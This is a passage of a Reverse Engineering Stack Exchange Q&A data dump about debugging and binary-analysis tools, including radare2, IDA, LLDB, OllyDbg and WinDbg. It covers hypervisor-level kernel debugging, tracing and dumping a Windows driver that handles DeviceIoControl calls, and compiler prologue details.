        "Body": "<p>I would like to set up a virtual machine monitor using Microsoft Hyper-V, VMware vSphere/ESX, Xen, or any other alternative hypervisor solution that is able to monitor the execution of a guest OS (a VM within the VMM). </p>\n\n<p>In particular, I'd like to be able to view the guest OS' instructions before they are run by the virtual CPU. Additionally, I'd also like to be able to set monitors on some of the guest OS' CPU registers so if they are modified (e.g. on write with a MOV instruction), the guest's state will be suspended at the location where the write occurred (and the rip/eip will point to that instruction).</p>\n\n<p>I've been searching for a VMM solution that exposes a way to accomplish my goals, but I couldn't find anything.</p>\n\n<p>Does anyone know what the best way of approaching such a thing is? Any recommendations on the hypervisor that I should be using? (I'm guessing that Xen would probably be easiest to modify and debug since it's open source)</p>\n\n<p>Thanks a lot.</p>\n\n<p>Cheers,</p>\n\n<hr>\n\n<p><strong>EDIT:</strong> I'll try to explain myself better. I'm attempting to debug code running in kernel-mode (x86-64). Right now, I'm using WinDbg to debug the ring0 code in a virtual machine (VMware). </p>\n\n<p>If I could, I would be more than happy in setting a hardware breakpoint (ba) on a memory location and seeing what reads/writes to it. The problem is that my hardware breakpoints are being disabled by the code running in ring0. Basically, this code is saving the contents of the dr7 register off, clearing it, accessing the memory that I'm watching (the memory I set the hardware breakpoint on), and finally is restoring the dr7 register after access. Thus, my hardware breakpoint is never hit. This means I never figure out where the memory was being manipulated from. Suffice it to say that software breakpoints are not an acceptable alternative. Additionally, I've also tried mucking around with the general-detect bit in dr7 and installed my own trap handler to understand if someone's screwing with my hardware breakpoints. However, this code is quite smart and handles this attempt nicely (re: restores the old hook before accessing any of the debug registers).</p>\n\n<p>I hope you now see my conundrum. I need to be running at a lower level than ring0 to deal with this code running at ring0. The only way to do that is in a hypervisor. </p>\n\n<p>I would like to monitor the contents of say the dr7 register and see what's accessing it (read/writes). If I find the RIP of the faulting code, I'll be able to step through it and understand more of what it's doing.</p>\n",
        "Title": "Using a VMM/hypervisor to monitor guest OS execution?",
        "Tags": "|debugging|kernel-mode|driver|virtual-machines|hypervisor|",
        "Answer": "<p><a href=\"http://www.google.com/search?q=vmware%20gdb%20stub\" rel=\"nofollow\">VMware exposes a GDB stub</a> specifically for this purpose. Using this stub, one can connect GDB (or any GDB front-end) to manipulate the guest OS, as if it were a process.</p>\n\n<ul>\n<li><a href=\"http://wiki.osdev.org/VMware\" rel=\"nofollow\">VMware</a> - OSDev Wiki</li>\n<li><a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_windows_vmware.pdf\" rel=\"nofollow\">Debugging Windows kernel under VMWare using \nIDA's GDB debugger</a> - HexRays</li>\n</ul>\n"
    },
    {
        "Id": "3934",
        "CreationDate": "2014-03-22T12:11:32.157",
        "Body": "<p>So, how does IDA understand that the file was packed by a packer?  </p>\n\n<p>How does it distinguishes between different types of packers?  </p>\n\n<p>Are they leave some significant signatures or some patterns of byte code?</p>\n\n<p>Or maybe they do modify the header of the file in some way?</p>\n",
        "Title": "How does IDA understand that the file was packed by packer?",
        "Tags": "|ida|packers|",
        "Answer": "<p>IDA don't detect type of packer. Also, signatures are not used. Instead, it analyze PE-header: .idata section, entry point and import entries.\nThis method is very accurate, has low false positives.</p>\n"
    },
    {
        "Id": "3938",
        "CreationDate": "2014-03-24T11:59:50.163",
        "Body": "<p>How do I get to the entry point of a .exe file using radare2?\nI tried using aa then pdf@sym.main, but a prompt showed saying \"Cannot find function at 0x00000000\"</p>\n",
        "Title": "Getting to the entry point using radare2",
        "Tags": "|radare2|",
        "Answer": "<p>The entrypoint can be found using the info command <code>i?</code> especially the entrypoint info command <code>ie</code></p>\n\n<pre><code>[0x00404890]&gt; ie\n[Entrypoints]\nvaddr=0x00404890 paddr=0x00004890 baddr=0x00400000 laddr=0x00000000\n\n1 entrypoints\n</code></pre>\n\n<p>Alternatively you can use <code>rabin2 -e &lt;file&gt;</code>.</p>\n"
    },
    {
        "Id": "3942",
        "CreationDate": "2014-03-24T15:30:15.400",
        "Body": "<p>I accidentally erased my project from Eclipse, and all I have left is the APK file which I transferred to my phone. Is there a way to reverse the process of exporting an application to the .apk file, so I can get my project back? by using MacOS X ?</p>\n",
        "Title": "Reverse engineering from an APK file to a project by MAC",
        "Tags": "|android|",
        "Answer": "<p>See <a href=\"http://pof.eslack.org/2011/02/18/from-apk-to-readable-java-source-code-in-3-easy-steps/\">this</a>. You can unzip the classes.dex from your apk file on the mac, and dex2jar should work on a mac as well. </p>\n\n<p>The last part, jd, is a windows program, but they have an online demo <a href=\"http://jd.benow.ca/\">on their project site</a> - click \"live demo\" in the header, then drag and drop your jar file on the <code>input files</code> box.</p>\n\n<p><strong>Edit</strong>\nI just noticed there are download links for jd on mac as well, so you don't need to use the online version. You can even use the jd for eclipse plugin on a mac.</p>\n"
    },
    {
        "Id": "3947",
        "CreationDate": "2014-03-25T05:57:47.163",
        "Body": "<p>Is there a open-source Linux tool / utility for Linux platform that would recursively search for binary files (executable, shared / static objects, etc), in a folder and display?</p>\n",
        "Title": "Binary file search tools",
        "Tags": "|tools|linux|",
        "Answer": "<p>When looking for files containing executable code in a well known format, you could search using <code>find</code> and <code>file</code>:</p>\n\n<pre><code>find . -type f -print0 | xargs -0 file | grep -i \"i386\\|x86\\|arm\\|ar archive\"\n</code></pre>\n\n<p>This will get you all files which <code>file</code> labeled with the processor name for i386, x86 or arm.</p>\n\n<p>Note that there are many filetypes which <code>file</code> does not recognize.\nIt will for instance not recognize java jar files, or android apk files as executable.\nNor will it recognize raw firmware images.</p>\n\n<p>What I actually usually do when researching an unknown system:</p>\n\n<ul>\n<li>do <code>find . | xargs file</code> to get a large list of everything</li>\n<li>then filter out known files, like audio, images, html, text, xml files.</li>\n<li>then manually inspect what is left over.</li>\n<li><code>file</code> also makes lots of mistakes, i usually get quite some number of files labeled as DOS executable, which aren't, also i often see files mislabeled as DBase.</li>\n</ul>\n"
    },
    {
        "Id": "3948",
        "CreationDate": "2014-03-25T06:00:32.007",
        "Body": "<p>I'm trying to hit a breakpoint that I set in LLDB (CLI), but for whatever reason I'm not hitting my breakpoint.  I am messing around with the stock Calculator.app on OS X, and am trying to call / hit my breakpoint when I open the About dialog box of the Calculator.app.</p>\n\n<p>I launch the Calculator.app, then I start lldb from a Terminal window.  I find the process of the Calculator.app using ps and grep.  I attach to the running process using LLDB.  I then issue the <code>continue</code> command in LLDB to allow the Calculator.app to continue running.</p>\n\n<p>Then I set a breakpoint in LLDB when the following method is called, <code>showAbout</code></p>\n\n<p>I type the following command into LLDB,\n<code>(lldb) breakpoint set --method showAbout</code></p>\n\n<p>However when I click <code>About Calculator</code> from the menu bar it doesn't halt the program, but rather shows the About dialog box for the Calculator.</p>\n",
        "Title": "How to set a breakpoint when a method is called using LLDB on OS X?",
        "Tags": "|debuggers|osx|lldb|",
        "Answer": "<p>The Calculator app is stripped as can be seen by running <code>nm</code>.\nYou will need to find the address of the method using <code>class-dump</code>:</p>\n\n<pre><code>$ class-dump -A /Applications/Calculator.app | grep showAbout\n- (void)showAbout:(id)arg1; // IMP=0x0000000100009939\n</code></pre>\n\n<p>However as the Calculator application is already running, the address has been slided because of ASLR.\nTo find the ASLR slide you can use my tool called <a href=\"https://github.com/Tyilo/get_aslr\" rel=\"nofollow\">get_aslr</a>, like so:</p>\n\n<pre><code>$ sudo get_aslr $(pgrep Calculator)\nASLR slide: 0x9508000\n</code></pre>\n\n<p>You then add the two numbers together:</p>\n\n<pre><code>0x0000000100009939 + 0x9508000 = 0x109511939\n</code></pre>\n\n<p>That is the current address of the <code>showAbout:</code> method.\nNow you just need to set the breakpoint in <code>lldb</code>:</p>\n\n<pre><code>b *0x109511939\n</code></pre>\n\n<p>And it works!</p>\n"
    },
    {
        "Id": "3949",
        "CreationDate": "2014-03-25T07:02:55.783",
        "Body": "<p>How do I specify to radare2 that what I'm disassembling when I know it is a DOS MZ executable?</p>\n\n<p>As it does not auto-detect this for me.</p>\n",
        "Title": "Disassembling an unknown DOS MZ executable using radare2",
        "Tags": "|disassembly|radare2|",
        "Answer": "<p>You can disassemble a DOS 16-bit executable using <a href=\"http://www.radare.org\" rel=\"noreferrer\">radare2</a> as follows:</p>\n\n<p>Example using <code>TEXTINST.EXE</code> from the FreeDOS 1.1 CDROM image:</p>\n\n<pre><code>bash$ radare2 TEXTINST.EXE\nSS : 214f\nSP : 4c00\nIP : 0\nCS : 0\nNRELOCS: 1\nRELOC  : 1c\nCHKSUM : 0\n[0000:0020]&gt; aa\n[0000:0020]&gt; pd 10\n   ;      [0] va=0x00000020 pa=0x00000020 sz=67272 vsz=67272 rwx=-rwx .text\n            ;-- section..text:\n            0000:0020    b93b03       mov cx, 0x33b\n            0000:0023    be7406       mov si, 0x674\n            0000:0026    89f7         mov di, si\n            0000:0028    1e           push ds\n            0000:0029    a9b580       test ax, 0x80b5\n        |   0000:002c    8cc8         mov ax, cs\n        |   0000:002e    050510       add ax, 0x1005\n        |   0000:0031    8ed8         mov ds, ax\n        |   0000:0033    05f010       add ax, 0x10f0\n        |   0000:0036    8ec0         mov es, ax\n(etc)\n</code></pre>\n\n<p>If required, you can force the disassembler, etc. to assume DOS as follows:</p>\n\n<pre><code>e asm.arch=x86\ne asm.os=dos\n</code></pre>\n\n<p>If you think you have a DOS executable and the above doesn't work, there may be something more subtle going on, and you should post a question showing specifically what you tried, what you expect and what is not working.  </p>\n\n<p><em>Note: showing what you tried, etc. is more likely to elicit answers on the SE sites...</em></p>\n"
    },
    {
        "Id": "3955",
        "CreationDate": "2014-03-25T16:55:19.460",
        "Body": "<p>I have started reversing this piece of malware. At some point it creates a service and starts it, then immediately it calls the function <code>DeviceIoControl</code> and the malware went from \"paused\" to \"running\" under ollydbg. I've searched a little bit, and I understand that this function serves to communicate with the service it just had created.</p>\n\n<p>But how exactly do I reverse it? How do I know what it does? And how can I continue stepping under ollydbg? Or do I have to move to windbg or some other kernel-mode debugger?</p>\n",
        "Title": "how to reverse DeviceIoControl?",
        "Tags": "|malware|kernel-mode|",
        "Answer": "<p>You cannot step into kernel mode from Ollydbg. You need a kernel debugger like <code>windbg</code>, as <code>ollydbg</code> is a user mode debugger. </p>\n\n<p>Since you posed the question, I assume you neither have a kernel debugging connection,\nnor the driver where that control code is sent for analyzing it, as answered by Jonathon.</p>\n\n<p>Usage of proper security measures to deal with malware assumed and emphasized from here onward.</p>\n\n<p>I assume the malware is running already as your query states that you are on <code>DeviceIoControl</code>.</p>\n\n<p>I am going to use ollydbg 2.01.</p>\n\n<p>Attach ollydbg to an unknown process </p>\n\n<p>Press <kbd>Ctrl</kbd>+<kbd>G</kbd> and start typing <code>ntdll.ntDeviceIo</code> and the list box  will show \n<code>ntdll.ntDeviceIoControl</code> now  select it and <code>follow label</code>.</p>\n\n<p>Press <kbd>F2</kbd> to set a breakpoint, and <kbd>F9</kbd> to run the attached process.</p>\n\n<pre><code>INT3 breakpoints, item 0\n  Address = 7C90D27E NtDeviceIoControlFile\n  Module = ntdll\n  Status = Active\n  Disassembly = MOV     EAX, 42\n  Comment = ntdll.NtDeviceIoControlFile(guessed Arg1,Arg2,Arg3,Arg4,Arg5,Arg6,Arg7,Arg8,Arg9,Arg10)\n</code></pre>\n\n<p>Ollydbg should break when a control code is sent and stack should look like this:</p>\n\n<pre><code>CPU Stack\n    Address   Value      ASCII Comments\n    0013EF50  [7C801675  u\u20ac|   ; /RETURN from ntdll.NtDeviceIoControlFile to kernel32.DeviceIoControl+4C\n    0013EF54  /00000090        ; |Arg1 = 90\n    0013EF58  |00000000        ; |Arg2 = 0\n    0013EF5C  |00000000        ; |Arg3 = 0\n    0013EF60  |00000000        ; |Arg4 = 0\n    0013EF64  |0013EF88  \u02c6\u00ef    ; |Arg5 = 13EF88\n    0013EF68  |83050024  $ \u0192   ; |Arg6 = 83050024\n    0013EF6C  |00000000        ; |Arg7 = 0\n    0013EF70  |00000000        ; |Arg8 = 0\n    0013EF74  |0013EFEC  \u00ec\u00ef    ; |Arg9 = 13EFEC\n    0013EF78  |00000004        ; \\Arg10 = 4\n</code></pre>\n\n<p>From the specs of <code>DeviceIoControlCode</code>, the first argument points to <code>handle</code> and the sixth argument is the <code>control code</code></p>\n\n<p>Having windbg installed can make things easier from here, but we will not use windbg at this moment as it has a steep learning curve.</p>\n\n<p>Open ollydbg handle window and find what does the handle point to (<code>0x90</code> in the above paste) - it points to a device:</p>\n\n<pre><code>Handles, item 9\n  Handle = 00000090\n  Type = File (dev)   &lt;-------- it is a _FILE_OBJECT\n  Refs =    2.\n  Access = 0012019F (FILE_GENERIC_READ|FILE_GENERIC_WRITE)\n  Tag =\n  Info =\n  Translated name = \\Device\\Dbgv\n</code></pre>\n\n<p>Now run <a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx\" rel=\"noreferrer\">Process Explorer</a> from <code>SysInternals</code>. Select the unknown process, and press <kbd>Ctrl</kbd>+<kbd>H</kbd> to make the lower pane show handles.</p>\n\n<p>Select the handle <code>90</code>, right click and select <code>properties</code>. <em>Process Explorer</em> will show the address of the <em>Device Object</em> as noted by Ollydbg. This device object is a <em>File Object</em>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ZFEXl.png\" alt=\"enter image description here\"></p>\n\n<p><code>ollydbg 2.01</code> can show memory above <code>0x7fffffff</code> (kernel mode memory) we will use that feature to find the driver associated with this device </p>\n\n<p>Read about the <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff545834.aspx\" rel=\"noreferrer\"><code>FILE_OBJECT</code></a> structure relevant to your OS. In Windows XP you will find the address of device object at +4 from file object.</p>\n\n<p>Select the dump window press <kbd>Ctrl</kbd>+<kbd>G</kbd> and type in the address process explorer showed viz </p>\n\n<pre><code>863c87f0 and follow expression \n\nCPU Dump\nAddress   Hex dump                                         ASCII\n863C87F0  05 00 70 00|A8 D3 51 86|00 00 00 00|00 00 00 00|  p \u00a8\u00d3Q\u2020\n</code></pre>\n\n<p>So <code>8651d3a8</code> in the paste above points to the device object for this file object.</p>\n\n<p>Read about <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff543147.aspx\" rel=\"noreferrer\"><code>DEVICE_OBJECT</code></a> structure.  In Windows XP, the address of the driver object is at device object + 8.  Following there with <kbd>Ctrl</kbd>+<kbd>G</kbd> -> <code>follow expression</code> as done earlier</p>\n\n<pre><code>CPU Dump\nAddress   Hex dump                                         ASCII\n8651D3A8  03 00 B8 00|01 00 00 00|48 2C F1 86|00 00 00 00|  \u00b8    H,\u00f1\u2020\n</code></pre>\n\n<p>notice <code>86f12c48</code> is driver object. Read about <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff544174.aspx\" rel=\"noreferrer\"><code>DRIVER_OBJECT</code></a> structure.</p>\n\n<p><code>+0xc is Driver Start</code> and <code>+0x10 is Driver Size</code> --> <kbd>Ctrl</kbd>+<kbd>G</kbd> to follow:</p>\n\n<pre><code>CPU Dump\nAddress   Hex dump                                         ASCII\n86F12C48  04 00 A8 00|A8 D3 51 86|12 00 00 00|00 30 2A A9|  \u00a8 \u00a8\u00d3Q\u2020    0*\u00a9\n86F12C58  00 3D 00 00|48 9C D8 86|F0 2C F1 86|18 00 18 00|  =  H\u0153\u00d8\u2020\u00f0,\u00f1\u2020 \n</code></pre>\n\n<p><code>a92a3000</code> is <code>DriverStart</code> and size of driver is <code>3d00</code>.</p>\n\n<p><kbd>Ctrl</kbd>+<kbd>G</kbd> to follow:</p>\n\n<pre><code>CPU Dump\nAddress   Hex dump                                         ASCII\nA92A3000  4D 5A 90 00|03 00 00 00|04 00 00 00|FF FF 00 00| MZ       \u00ff\u00ff\nA92A3010  B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| \u00b8       @\n</code></pre>\n\n<p>The famous <code>IMAGE_DOS_HEADER</code> is noticeable.</p>\n\n<p>Select from <code>a92a3000</code> to <code>a92a6d00</code>,  <kbd>Right-Click</kbd> -> <code>Edit</code> -> binary copy and paste the bytes to a new file in any hex editor (HxD for example), and save it as <code>malwaredriver.sys</code> :)</p>\n\n<pre><code>foo:\\&gt;dir malwaredriver.sys\n\n26/03/2014  14:04            15,616 malwaredriver.sys\n\n\\&gt;set /a 0x3d00\n15616\n\\&gt;file malwaredriver.sys\n\nmalwaredriver.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit\n\n:\\&gt;\n</code></pre>\n\n<p>You can now analyze the driver statically.</p>\n\n<p>Read about <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff544174.aspx\" rel=\"noreferrer\"><code>DRIVER_OBJECT</code></a> structure carefully to find you can readily know the handler for <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff550744.aspx\" rel=\"noreferrer\"><code>IRP_MJ_DEVICE_IO_CONTROL</code></a> handler in ollydbg. It would be at <code>+0x70</code> from Driverobject in XP. For this particular driver, the <code>IRP_MJ_DEVICE_IO_CONTROL_HANDLER</code> is at </p>\n\n<pre><code>CPU Dump\nAddress   Value      ASCII Comments\n86F12CB8   A92A4168  hA*\u00a9\n</code></pre>\n\n<p>You can follow and disassemble this memory in ollydbg. Select cpu dump press ctrl+g to disassemble an unknown driver </p>\n\n<pre><code>CPU Disasm\nAddress   Command                             Comments\nA92A4168  MOV     EDI, EDI                    ; IRP_MJ_DEVICE_IO_CONTROL_HANDLER(pdevob,pirp)\nA92A416A  PUSH    EBP\nA92A416B  MOV     EBP, ESP\nA92A416D  SUB     ESP, 24\nA92A4170  PUSH    EBX\nA92A4171  PUSH    ESI\nA92A4172  MOV     ESI, DWORD PTR SS:[EBP+0C]  ; irp\nA92A4175  MOV     EAX, DWORD PTR DS:[ESI+60]  ; nt!_irp -y Tail.overlay.cur-&gt;maj\nA92A4178  MOV     EDX, DWORD PTR DS:[ESI+0C]  ; nt!_irp Tail.overlay.cur-&gt;par.DeviceIo.ty\nA92A417B  XOR     EBX, EBX\nA92A417D  PUSH    EDI\nA92A417E  LEA     EDI, [ESI+18]\nA92A4181  MOV     DWORD PTR DS:[EDI], EBX\nA92A4183  MOV     DWORD PTR DS:[ESI+1C], EBX\nA92A4186  MOVZX   ECX, BYTE PTR DS:[EAX]\nA92A4189  SUB     ECX, EBX\nA92A418B  JE      SHORT A92A41F7              ; case 0 create\nA92A418D  DEC     ECX\nA92A418E  DEC     ECX\nA92A418F  JE      SHORT A92A41CA              ; case 2 close\nA92A4191  SUB     ECX, 0C\nA92A4194  JNE     A92A42BB                    ; unhandled\nA92A419A  MOV     ECX, DWORD PTR DS:[EAX+0C]  ; ioctl\nA92A419D  MOV     EBX, ECX\nA92A419F  AND     EBX, 00000003\nA92A41A2  CMP     BL, 3\nA92A41A5  JNE     SHORT A92A41AC              ; buff align\nA92A41A7  MOV     EBX, DWORD PTR DS:[ESI+3C]\nA92A41AA  JMP     SHORT A92A41AE\nA92A41AC  MOV     EBX, EDX                    ; inbuff\nA92A41AE  PUSH    DWORD PTR SS:[EBP+8]        ; devobj\nA92A41B1  PUSH    EDI\nA92A41B2  PUSH    ECX\nA92A41B3  PUSH    DWORD PTR DS:[EAX+4]        ; bufflen\nA92A41B6  PUSH    EBX\nA92A41B7  PUSH    DWORD PTR DS:[EAX+8]        ; ioctlcode\nA92A41BA  PUSH    EDX\nA92A41BB  PUSH    1\nA92A41BD  PUSH    DWORD PTR DS:[EAX+18]       ; fobj\nA92A41C0  CALL    A92A3EEC                    ; actual_handler\n</code></pre>\n\n<p>Here the ioctl code is handled:</p>\n\n<pre><code>CPU Disasm\nAddress   Command                                  Comments\nA92A3EF8  MOV     ESI, DWORD PTR SS:[EBP+24]\nA92A3EFB  XOR     EBX, EBX\nA92A3EFD  MOV     DWORD PTR DS:[ESI], EBX\nA92A3EFF  MOV     DWORD PTR DS:[ESI+4], EBX\nA92A3F02  MOV     ECX, DWORD PTR SS:[EBP+20]\nA92A3F05  MOV     EAX, 83050020\nA92A3F0A  CMP     ECX, EAX\nA92A3F0C  JA      A92A40F1  this code will take this path as 24 &gt; 20\n</code></pre>\n\n<p>===========</p>\n\n<pre><code>CPU Disasm\nAddress     Hex dump                  Command                Comments\nA92A40F1    81F9 24000583             CMP     ECX, 83050024\nA92A40F7    74 3F                     JE      SHORT A92A4138 path taken\n</code></pre>\n\n<p>The control code does this work and sends some 320 on some condition</p>\n\n<pre><code>[code]\nCPU Disasm\nAddress   Command                             Comments\nA92A4138  PUSH    4\nA92A413A  POP     EAX\nA92A413B  CMP     DWORD PTR SS:[EBP+1C], EAX\nA92A413E  JB      SHORT A92A4152\nA92A4140  MOV     ECX, DWORD PTR SS:[EBP+18]\nA92A4143  CMP     ECX, EBX\nA92A4145  JE      SHORT A92A4152\nA92A4147  MOV     DWORD PTR DS:[ECX], 320      &lt;------------\nA92A414D  MOV     DWORD PTR DS:[ESI+4], EAX\nA92A4150  JMP     SHORT A92A4158\nA92A4152  MOV     DWORD PTR DS:[ESI], C000000D\nA92A4158  MOV     AL, 1\nA92A415A  CALL    A92A46D5\nA92A415F  RETN    24\n</code></pre>\n\n<p>The driver analysed here is the driver loaded by dbgview (dbgv.sys) from SysInternals. This control code checks for an incompatible version of driver loaded in memory. Follow through can be practiced with the specific driver and specific version:</p>\n\n<pre><code>(4.75) build time Thu Aug 07 04:51:27 2008\n</code></pre>\n\n<h2>EDIT</h2>\n\n<p>With windbg inastalled you can do the same with just few commands as posted below</p>\n\n<pre><code>C:\\&gt;tlist | grep -i dbgview\n\n3724 Dbgview.exe       DebugView on \\\\ (local)\n\nC:\\&gt;kd -kl -c \".foreach /pS 1 /ps 4 (place  { .shell -ci \\\"!handle 0 3 0n3724 Fi\nle \\\" grep File } ) {dt nt!_FILE_OBJECT -y Dev-&gt;Dri-&gt;DriverS place};q\" | grep -i\n +0x00c\n +0x00c DriverStart       : 0xf7451000 Void  \n +0x00c DriverStart       : 0xf73c5000 Void   \n +0x00c DriverStart       : 0xa87f9000 Void   \n +0x00c DriverStart       : 0xf7451000 Void   \n +0x00c DriverStart       : 0xf7451000 Void   \n\nC:\\&gt;kd -kl -c \".reload ; lm a (0xf7451000); lm a (0xf73c5000) ; lm a (0xa87f9000);q\" | grep -i defer\n\n f7451000 f746f880   ftdisk     (deferred)    \n f73c5000 f73db880   KSecDD     (deferred)    \n a87f9000 a87fcd00   Dbgv       (deferred)    \n\n\nC:\\&gt;kd -kl -c \".writemem  malware.sys a87f9000 a87fcfff ;q\" | grep -A 1 lkd\n\n lkd&gt; kd: Reading initial command '.writemem  malware.sys a87f9000 a87fcfff ;q'     \n Writing 4000 bytes........    \n\nC:\\&gt;file malware.sys  \n\n malware.sys; PE32 executable for MS Windows (native) Intel 80386 32-bit   \n</code></pre>\n\n<p>An explanation for the commands above as follows</p>\n\n<pre><code>kd -kl is local kernel debugging\n\n!handle command has the capability to search for kernel handle  \nwhen you input a Pid \n\nThe explanation for arguments for this commands are \n\n 0 = all handles \n 3 = default flag provides basic+object information\n 0n3724 = pid (can be from task manager\n File = type of Object to search for \n\n\n!dt can display memebers of nested structures with ease \n-y with dt takes partial inputs (wild card entries ) \n and displays  all matching structure members \n\nand the output is manipulatable with any text / stream handling \nsoftware like grep , sed . awk . find etc\n</code></pre>\n"
    },
    {
        "Id": "3969",
        "CreationDate": "2014-03-26T15:31:27.673",
        "Body": "<p>VM packers like Code Virtualizer and VMProtect seem challenging to existing reverse engineering work, especially static approach like IDA Pro.</p>\n\n<p>According to this slides</p>\n\n<p>www.hex-rays.com/products/ida/support/ppt/caro_obfuscation.ppt</p>\n\n<p>from Hex-rays, IDA Pro requires experienced reverse engineer to manually recognize the opcode array and understand the semantic, then decode the bytecode array..</p>\n\n<p>I myself use IDA Pro to deal with simple quicksort program using Code Virtualizer, and I can share two pics.</p>\n\n<p><img src=\"https://i.stack.imgur.com/vZqaZ.png\" alt=\"enter image description here\"></p>\n\n<p>See, I use Code Virtualizer to protect this part and IDA Pro can not go to 0X599050h.</p>\n\n<p><img src=\"https://i.stack.imgur.com/UPTnc.png\" alt=\"enter image description here\"></p>\n\n<p>See, the size of relocation section has a significant growth.</p>\n\n<p>So my questions:</p>\n\n<ol>\n<li>Can IDA Pro automatically deal with VM obfuscated binaries?</li>\n<li>Any other interesting materials on the state-of-art in this area?</li>\n</ol>\n\n<p>Thank you!</p>\n",
        "Title": "Can IDA Pro automatically deal with VM obfuscated binaries?",
        "Tags": "|ida|virtual-machines|virtualizers|",
        "Answer": "<p>There's now (from 2020) a plugin for IDA Pro that helps in working with obfuscated binaries. It is called <a href=\"https://eshard.com/posts/d810_blog_post_1/\" rel=\"nofollow noreferrer\">D810: Creating an extensible deobfuscation plugin for IDA Pro</a>.</p>\n"
    },
    {
        "Id": "3971",
        "CreationDate": "2014-03-26T20:58:54.170",
        "Body": "<p>I was debugging a simple x86-64 program in Visual Studio 2010 and I noticed that the <code>main</code> function preamble is different from the GNU GCC compiled version of the same C program.</p>\n\n<p>To illustrate what I mean here is the C code for the <code>main</code> function:</p>\n\n<pre><code>int main() {\n  int a,b,c;\n  a=1;\n  b=2;\n  c=proc(a,b);\n  return c;\n}\n</code></pre>\n\n<p>The Visual Studio 2010 disassembly of the <code>main</code> function <strong>preamble</strong> for the  VC++ version is:</p>\n\n<pre><code>01211410  push        ebp  \n01211411  mov         ebp,esp  \n01211413  sub         esp,0E4h  \n01211419  push        ebx  \n0121141A  push        esi  \n0121141B  push        edi  \n0121141C  lea         edi,[ebp-0E4h]  \n01211422  mov         ecx,39h  \n01211427  mov         eax,0CCCCCCCCh  \n0121142C  rep stos    dword ptr es:[edi]\n</code></pre>\n\n<p>The rest of the function code of the VC++ version is:</p>\n\n<pre><code>0081141E  mov         dword ptr [a],1  \n00811425  mov         dword ptr [b],2  \n0081142C  mov         eax,dword ptr [b]  \n0081142F  push        eax  \n00811430  mov         ecx,dword ptr [a]  \n00811433  push        ecx  \n00811434  call        proc (81114Fh)  \n00811439  add         esp,8  \n0081143C  mov         dword ptr [c],eax  \n0081143F  mov         eax,dword ptr [c]  \n00811442  pop         edi  \n00811443  pop         esi  \n00811444  pop         ebx  \n00811445  add         esp,0E4h  \n0081144B  cmp         ebp,esp  \n0081144D  call        @ILT+300(__RTC_CheckEsp) (811131h)  \n00811452  mov         esp,ebp  \n00811454  pop         ebp  \n00811455  ret \n</code></pre>\n\n<p>The disassembly of the <code>main</code> function <strong>preamble</strong> for the GCC compiled version is:</p>\n\n<pre><code>00400502  push   rbp\n00400503  mov    rbp,rsp\n00400506  sub    rsp,0x10\n</code></pre>\n\n<p>The rest of the <code>main</code> function code of the GCC version is:</p>\n\n<pre><code>004004e8  mov    DWORD PTR [rbp-0xc],0x1\n004004ef  mov    DWORD PTR [rbp-0x8],0x2\n004004f6  mov    edx,DWORD PTR [rbp-0x8]\n004004f9  mov    eax,DWORD PTR [rbp-0xc]\n004004fc  mov    esi,edx\n004004fe  mov    edi,eax\n00400500  call   0x4004cc &lt;proc&gt;\n00400505  mov    DWORD PTR [rbp-0x4],eax\n00400508  mov    eax,DWORD PTR [rbp-0x4]\n0040050b  leave\n0040050c  ret\n</code></pre>\n\n<p>The same disassembly is given by <code>objdump</code> version 2.22.90.20120924.</p>\n\n<p>I realize that the first 3 instructions for both preambles do the following:</p>\n\n<ol>\n<li>Save old EBP (later needed to remove stack frame)</li>\n<li>Top of old stack frame becomes EBP of new frame</li>\n<li>Reserve space for local variables. The function has 3 integer local variables.</li>\n</ol>\n\n<p><strong>Question 1:</strong> What is the purpose of 4th instruction in the VC++ version? I see its saving EBX, but why? It never uses it afterwards.</p>\n\n<p>For the remaining instructions of the VC++ version preamble, I relized that it initializes  <code>39h</code> dwords with the value <code>0CCCCCCCCh</code>. Which makes sense because <code>39h * 4h = 0E4h</code>.</p>\n\n<p><strong>Question 2:</strong> Why is this space initialized with the value <code>0CCCCCCCCh</code>? Is this value better than <code>00000000h</code> in some way?</p>\n\n<p><strong>Question 3:</strong> Why does the VC++ version allocate <code>0E4h</code> bytes for 3 local variables? Is this number random? If not, how is it computed?</p>\n\n<p><strong>Question 4:</strong> Is this space used for something else beside local variables? If yes, for what?</p>\n",
        "Title": "Understanding x86 C main function preamble created by Visual C++",
        "Tags": "|windows|decompilation|x86|c|",
        "Answer": "<p>The extra space on the stack is there to support the Edit and Continue functionality and can be eliminated by changing /Zl to /Zi. The saved ebx and initialization of the stack to 0xcc is done by the <a href=\"http://msdn.microsoft.com/en-us/library/8wtf2dfz.aspx\" rel=\"nofollow noreferrer\">/RTC Runtime Checking Option</a>.</p>\n\n<p>There was a <a href=\"https://stackoverflow.com/questions/2077074/understanding-the-c-function-call-prolog-with-cdecl-on-windows\">similar question</a> asked on SO.</p>\n\n<p>The windows example, by the way, is clearly a 32 bit binary. x64 windows calling convention uses RCX, RDX, R8, and R9 as the first 4 integer/pointer arguments (instead of the stack).</p>\n"
    },
    {
        "Id": "3974",
        "CreationDate": "2014-03-27T01:36:42.070",
        "Body": "<p>I am trying to debug an iOS app with gdb and when I hit a breakpoint I get this error, and can not continue.</p>\n\n<pre><code>Program received signal SIGTRAP, Trace/breakpoint trap.\n[Switching to process 190 thread 0x6fa7]\n0x000ae150 in dyld_stub_pthread_key_create ()\n</code></pre>\n\n<p>Does anyone know how I can continue debugging without closing and opening back gdb?</p>\n",
        "Title": "Can not continue debugging after SIGTRAP",
        "Tags": "|ida|disassembly|assembly|gdb|ios|",
        "Answer": "<p>In case it is running into this error <code>Received a SIGTRAP: Trace/breakpoint trap</code> even though there are no breakpoints in the program, check the power of Hardware Debugger e.g. J-Link. </p>\n\n<p>In my case, J-Link was powered on but the port wasn't delivering enough power. Changing the port to high-power one fixed this.</p>\n"
    },
    {
        "Id": "3982",
        "CreationDate": "2014-03-27T15:52:45.423",
